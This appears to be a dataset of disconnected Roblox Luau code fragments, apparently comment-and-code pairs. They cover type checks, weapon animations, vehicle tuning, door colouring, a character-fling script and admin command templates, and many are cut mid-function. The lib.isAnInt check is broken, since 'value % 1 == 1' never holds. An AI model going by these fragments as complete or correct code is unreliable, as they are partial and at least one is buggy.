-- Returns whether 'value' is coercible into an enum item of the type 'enum'.
if lib.isAnEnum(enum) then
return pcall(lib.coerceIntoEnum, value, enum) == true
else
error("The 'enum' argument must be an enum.", 2)
end
end
local Color3Value = Instance.new('Color3Value')
function lib.isAColor3(value)
-- Returns whether 'value' is a Color3 value.
return pcall(set, Color3Value, 'Value', value) == true
end
local CFrameValue = Instance.new('CFrameValue')
function lib.isACoordinateFrame(value)
-- Returns whether 'value' is a CFrame value.
return pcall(set, CFrameValue, 'Value', value) == true
end
local BrickColor3Value = Instance.new('BrickColorValue')
function lib.isABrickColor(value)
-- Returns whether 'value' is a BrickColor value.
return pcall(set, BrickColor3Value, 'Value', value) == true
end
local RayValue = Instance.new('RayValue')
function lib.isARay(value)
-- Returns whether 'value' is a Ray value.
return pcall(set, RayValue, 'Value', value) == true
end
local Vector3Value = Instance.new('Vector3Value')
function lib.isAVector3(value)
-- Returns whether 'value' is a Vector3 value.
return pcall(set, Vector3Value, 'Value', value) == true
end
function lib.isAVector2(value)
-- Returns whether 'value' is a Vector2 value.
return pcall(function() return Vector2.new() + value end) == true
end
local FrameValue = Instance.new('Frame')
function lib.isAUdim2(value)
-- Returns whether 'value' is a UDim2 value.
return pcall(set, FrameValue, 'Position', value) == true
end
function lib.isAUDim(value)
-- Returns whether 'value' is a UDim value.
return pcall(function() return UDim.new() + value end) == true
end
local ArcHandleValue = Instance.new('ArcHandles')
function lib.isAAxis(value)
-- Returns whether 'value' is an Axes value.
return pcall(set, ArcHandleValue, 'Axes', value) == true
end
local FaceValue = Instance.new('Handles')
function lib.isAFace(value)
-- Returns whether 'value' is a Faces value.
return pcall(set, FaceValue, 'Faces', value) == true
end
function lib.isASignal(value)
-- Returns whether 'value' is a RBXScriptSignal.
local success, connection = pcall(function() return game.AllowedGearTypeChanged.connect(value) end)
if success and connection then
connection:disconnect()
return true
end
end
function lib.getType(value)
-- Returns the most specific obtainable type of a value it can.
-- Useful for error messages or anything that is meant to be shown to the user.
local valueType = type(value)
if valueType == 'userdata' then
if lib.isAnInstance(value) then return value.ClassName
elseif lib.isAColor3(value) then return 'Color3'
elseif lib.isACoordinateFrame(value) then return 'CFrame'
elseif lib.isABrickColor(value) then return 'BrickColor'
elseif lib.isAUDim2(value) then return 'UDim2'
elseif lib.isAUDim(value) then return 'UDim'
elseif lib.isAVector3(value) then return 'Vector3'
elseif lib.isAVector2(value) then return 'Vector2'
elseif lib.isARay(value) then return 'Ray'
elseif lib.isAnEnum(value) then return 'Enum'
elseif lib.isASignal(value) then return 'RBXScriptSignal'
elseif lib.isALibrary(value) then return 'RbxLibrary'
elseif lib.isAAxis(value) then return 'Axes'
elseif lib.isAFace(value) then return 'Faces'
end
else
return valueType;
end
end
function lib.isAnInt(value)
-- Returns whether 'value' is an interger or not
return type(value) == "number" and value % 1 == 1;
end
function lib.isPositiveInt(number)
-- Returns whether 'value' is a positive interger or not.
-- Useful for money transactions, and is used in the method isAnArray ( )
return type(number) == "number" and number > 0 and math.floor(number) == number
end
function lib.isAnArray(value)
-- Returns if 'value' is an array or not
if type(value) == "table" then
local maxNumber = 0;
local totalCount = 0;
for index, _ in next, value do
if lib.isPositiveInt(index) then
maxNumber = math.max(maxNumber, index)
totalCount = totalCount + 1
else
return false;
end
end
return maxNumber == totalCount;
else
return false;
end
end
return lib
|
--[[
Retrieves the context value corresponding to the given key. Can return nil
if a requested context key is not present
]]
|
function Component:__getContext(key)
if config.internalTypeChecks then
internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getContext`")
internalAssert(key ~= nil, "Context key cannot be nil")
end
local virtualNode = self[InternalData].virtualNode
local context = virtualNode.context
return context[key]
end
|
--------------------- TEMPLATE WEAPON ---------------------------
-- Waits for the child of the specified parent
|
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
|
-- for i,v in pairs(script.Parent.Parent.Body.phone:GetChildren()) do
-- v.Transparency = 1
-- end
|
script.Parent.BodyGyro.maxTorque = Vector3.new(0,0,0)
script.Parent.Parent.Wheels.F.Stabilizer.maxTorque = Vector3.new(0,0,0)
script.Parent.Parent.Wheels.R.Stabilizer.maxTorque = Vector3.new(0,0,0)
end
end
end
end)
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 805
Tune.IdleRPM = 1250
Tune.PeakRPM = 9500
Tune.Redline = 12000
Tune.EqPoint = 5252
Tune.PeakSharpness = 20
Tune.CurveMult = 0.2
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Double" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger ]]
Tune.Boost = 30 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 55 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 15 --The compression ratio (look it up)
--Misc
Tune.RevAccel = 650 -- RPM acceleration when clutch is off
Tune.RevDecay = 225 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -1.99667926, 0.787567914, -0.220087856, -0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.60160995, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(0.306991339, 0.173449978, -2.47386241, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play()
wait(0.4)
local MagC = objs[4]:clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play()
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.63183177, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play()
wait(0.05)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.60160995, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.0507154427, -0.345223933, -3.1922884, 0.625797808, -0.752114773, 0.206640378, 0.0507019535, 0.303593874, 0.95145148, -0.778335571, -0.584939361, 0.2281221)}):Play()
wait(0.50)
objs[6]:WaitForChild("MagFall"):Play()
wait(0.10)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.23319471, 0.238857567, -2.20046425, 0.360941499, -0.928539753, -0.0868042335, -0.476528496, -0.263641387, 0.838697612, -0.801649332, -0.261356145, -0.53763473)}):Play()
wait(0.07)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play()
wait(0.07)
objs[6]:WaitForChild('MagIn'):Play()
ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(0.306991339, 0.173449978, -2.47386241, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play()
wait(0.04)
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.51256108, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play()
ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(0.306991339, 0.173449978, -2.37906742, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play()
wait(0.10)
MagC:Destroy()
objs[4].Transparency = 0
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.10)
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play()
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.63183177, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play()
wait(0.1)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.60160995, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.0507154427, -0.345223933, -3.1922884, 0.625797808, -0.752114773, 0.206640378, 0.0507019535, 0.303593874, 0.95145148, -0.778335571, -0.584939361, 0.2281221)}):Play()
wait(0.1)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.23319471, 0.238857567, -2.20046425, 0.360941499, -0.928539753, -0.0868042335, -0.476528496, -0.263641387, 0.838697612, -0.801649332, -0.261356145, -0.53763473)}):Play()
wait(0.07)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.0507154427, -0.345223904, -3.19228816, 0.625797808, -0.752114773, 0.206640378, -0.779792726, -0.609173417, 0.144329756, 0.0173272491, -0.2514579, -0.967713058)}):Play()
wait(0.07)
objs[6]:WaitForChild('MagHit'):Play()
ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(0.306991339, 0.173449978, -2.47386241, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play()
wait(0.04)
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.51256108, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play()
ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(0.306991339, 0.173449978, -2.37906742, 0.596156955, -0.666716337, 0.447309881, -0.79129082, -0.393649101, 0.4678666, -0.135851175, -0.632874191, -0.762243152)}):Play()
wait(0.10)
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.574199283, -0.679443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.574199283, 0, -0.74877262, 0.098731339, -0.9873386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.2)
end;
BoltForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.473770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
--Show Avatar
|
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
script.Parent:SetNetworkOwner(player)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Part") then
v.Transparency=0
if v.Name=="HumanoidRootPart"then
v.Transparency=1
v.CanCollide=true
end
end
end
end
end
end)
|
-- @Return WeaponDefinition
|
function WeaponRuntimeData:GetWeaponDefinition()
return self.weaponDefinition
end
|
--[=[
@class ClientRemoteProperty
@client
Created via `ClientComm:GetProperty()`.
]=]
|
local ClientRemoteProperty = {}
ClientRemoteProperty.__index = ClientRemoteProperty
function ClientRemoteProperty.new(re: RemoteEvent, inboundMiddleware: Types.ClientMiddleware?, outboudMiddleware: Types.ClientMiddleware?)
local self = setmetatable({}, ClientRemoteProperty)
self._rs = ClientRemoteSignal.new(re, inboundMiddleware, outboudMiddleware)
self._ready = false
self._value = nil
self.Changed = Signal.new()
self._readyPromise = self:OnReady():andThen(function()
self._readyPromise = nil
self.Changed:Fire(self._value)
self._changed = self._rs:Connect(function(value)
if value == self._value then return end
self._value = value
self.Changed:Fire(value)
end)
end)
self._rs:Fire()
return self
end
|
--[[**
ensures Roblox ColorSequenceKeypoint type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.ColorSequenceKeypoint = t.typeof("ColorSequenceKeypoint")
|
--[=[
Throttles emission of observables on the defer stack to the last emission.
@return (source: Observable) -> Observable
]=]
|
function Rx.throttleDefer()
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local maid = Maid.new()
local lastResult
maid:GiveTask(source:Subscribe(function(...)
if not lastResult then
lastResult = table.pack(...)
-- Queue up our result
task.defer(function()
local current = lastResult
lastResult = nil
if sub:IsPending() then
sub:Fire(table.unpack(current, 1, current.n))
end
end)
else
lastResult = table.pack(...)
end
end, sub:GetFailComplete()))
return maid
end)
end
end
return Rx
|
--------END RIGHT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(1003)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1003)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(1003)
game.Workspace.doorright.l11.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(1003)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1003)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(1003)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[[**
ensures Roblox BrickColor type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.BrickColor = primitive("BrickColor")
|
--Restore Default Settings
|
local restore = pages.custom["AX Restore"]
local loading = restore.Loading
local restoreDe = 0
restore.MouseButton1Down:Connect(function()
if restoreDe < 2 then
local h,s,v = Color3.toHSV(restore.BackgroundColor3)
loading.BackgroundColor3 = Color3.fromHSV(h, s, v*0.5)
loading.Visible = true
if restoreDe == 0 then
restoreDe = 1
loading.Blocker.Visible = false
loading.TextLabel.Text = "Confirm?"
wait(1)
elseif restoreDe == 1 then
restoreDe = 2
loading.Blocker.Visible = true
loading.TextLabel.Text = "Loading..."
local returnMsg = main.signals.RestoreDefaultSettings:InvokeServer()
if returnMsg == "Success" then
updateSettings()
main:GetModule("PageCommands"):CreateCommands()
local notice = main:GetModule("cf"):FormatNotice("RestoreDefaultSettings")
main:GetModule("Notices"):Notice("Notice", notice[1], notice[2])
else
restore.TextLabel.Text = returnMsg
end
wait(1)
end
restoreDe = 0
loading.Visible = false
loading.Blocker.Visible = false
end
end)
|
--02fzx
|
local FlingAmount = 1000000000000000000000000000000000000000000000000000000000000000000000000 --sky
local sound = false --well i mean its god hand so..
local sit = false --If it makes the player sit.
local e = false --Do not change.
local explode = true --This one just kills you
function hit(Touch)
local blender = Touch.Parent:FindFirstChild("Head")
if not (blender == nil) then
if e == false then
e = true
local bv = Instance.new("BodyVelocity")
bv.P = 1250
bv.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
bv.Velocity = blender.CFrame.lookVector*-FlingAmount
bv.Parent = blender
if sit == true then
Touch.Parent:FindFirstChild("Humanoid").Sit = true
end
if sound == true then
local s = script.Parent.Yeet:Clone()
local MAAAA = script.Parent.Scream:Clone()
local random = math.random(8,12)/10
s.Parent = blender
s.PlaybackSpeed = 1
s:Play()
Touch.Parent:FindFirstChild("Humanoid").Health = 100
MAAAA.Parent = blender
MAAAA:Play()
MAAAA.STOP.Disabled = false
end
wait(.05)
bv:Destroy()
wait(.2)
e = false
wait(1)
if explode == true then
wait(5)
Touch.Parent:FindFirstChild("Humanoid").Health = 0
end
end
end
end
script.Parent.Touched:connect(hit)
|
--[[**
ensures value is a given literal value
@param literal The literal to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.literal(literal)
return function(value)
if value ~= literal then
return false, string.format("expected %s, got %s", tostring(literal), tostring(value))
end
return true
end
end
|
-- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Removes the specified object from this array.
|
Table.removeObject = function (tbl, obj)
local index = Table.indexOf(tbl, obj)
if index then
table.remove(tbl, index)
end
end
return setmetatable({}, {
__index = function(tbl, index)
if Table[index] ~= nil then
return Table[index]
else
return RobloxTable[index]
end
end;
__newindex = function(tbl, index, value)
error("Add new table entries by editing the Module itself.")
end;
})
|
-- << COMMANDS >>
|
local module = {
-----------------------------------
{
Name = "";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "Free Admin";
Contributors = {};
--
Args = {};
Function = function(speaker, args)
end;
UnFunction = function(speaker, args)
end;
--
};
-----------------------------------
{
Name = "";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "";
Contributors = {};
--
Args = {};
--[[
ClientCommand = true;
FireAllClients = true;
BlockWhenPunished = true;
PreFunction = function(speaker, args)
end;
Function = function(speaker, args)
wait(1)
end;
--]]
--
};
-----------------------------------
};
return module
|
--[[
A special key for property tables, which adds user-specified tasks to be run
when the instance is destroyed.
]]
|
local Cleanup = {}
Cleanup.type = "SpecialKey"
Cleanup.kind = "Cleanup"
Cleanup.stage = "observer"
function Cleanup:apply(userTask: any, applyTo: Instance, cleanupTasks)
table.insert(cleanupTasks, userTask)
end
return Cleanup
|
--[[**
ensures value is a number where value < max
@param max The maximum to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.numberMaxExclusive(max)
return function(value)
local success, errMsg = t.number(value)
if not success then
return false, errMsg or ""
end
if value < max then
return true
else
return false, string.format("number < %s expected, got %s", max, value)
end
end
end
|
--Light off
|
src.Headlights.SpotLight.Enabled = false
src.Headlights.Material = "SmoothPlastic"
light.Value = false
else
|
------------------------------------------------------------------------------------------------------------------------------------------------
|
local BASE_HEIGHT = 20 --10 -- The main height factor for the terrain.
local CHUNK_SCALE = 4 --3 -- The grid scale for terrain generation. Should be kept relatively low if used in real-time.
local RENDER_DISTANCE = 360 / 4 --120 -- The length/width of chunks in voxels that should be around the player at all times
local X_SCALE = 90 / 4 --90 -- How much we should strech the X scale of the generation noise
local Z_SCALE = 90 / 4 -- How much we should strech the Z scale of the generation noise
|
-- TOP LEVEL GENERATION/DELETION FUNCTIONS
|
function TribeModule:NewTeam(tribeName)
end
function TribeModule:RemoveTeam(tribeName)
end
function TribeModule:NewTribe(tribeName)
end
function TribeModule:RemoveTribe(tribeName)
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 239 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
